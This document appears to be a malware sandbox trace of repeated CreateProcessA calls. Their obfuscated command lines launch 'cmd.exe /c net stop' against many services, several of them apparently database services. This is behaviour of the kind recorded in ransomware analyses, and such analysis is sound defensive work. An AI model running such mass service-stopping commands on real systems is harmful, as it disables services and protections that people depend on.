	[0092.505] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊüëïüëØÝÑüõéü먩©¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊüëïüëØÝÑüõéü먩©¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.506] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊüëïüëÖÕØÉÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊüëïüëÖÕØÉÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.506] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔàÊÈÕ¬®¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔàÊÈÕ¬®¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.506] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹÷íëíêúø÷¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹÷íëíêúø÷¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.507] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÖëøúõüÚõðü÷íÚøúñü¡©¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÖëøúõüÚõðü÷íÚøúñü¡©¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.507] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÉÝÏßÊÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÉÝÏßÊÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.508] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÉÖɪÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÉÖɪÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.508] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.509] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.509] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.509] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÍÉʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÍÉʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.510] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÍÉÊØÔع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËüéöëíÊüëïüë½ÍÉÊØÔع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.510] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËÜÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ËÜÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.510] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êøúêï빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êøúêï빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.511] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊøôÊ깶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊøôÊ깶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.511] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊØÏØýôð÷Êüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊØÏØýôð÷Êüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.512] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊØÏÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊØÏÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.512] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÝËÊÏÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÝËÊÏÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.512] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊüéÔøêíüëÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊüéÔøêíüëÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.513] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊñÔö÷ðíö빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊñÔö÷ðíö빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.513] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Êôúð÷êí¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Êôúð÷êí¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.514] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊôúÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊôúÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.514] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÔÍÉÊïú¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÔÍÉÊïú¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.514] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ê×ØÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ê×ØÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.515] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ê÷íéÊüëïðúü¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹Ê÷íéÊüëïðúü¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.515] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êöéñöêêé깶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹êöéñöêêé깶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.515] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÛÒÌÉÜÁÜÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÛÒÌÉÜÁÜÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.516] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÜÚÎÝÛ«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÜÚÎÝÛ«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.516] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËØÚÍÍÐÚÜÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÊÈÕØþü÷í½ÉËØÚÍÍÐÚÜÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
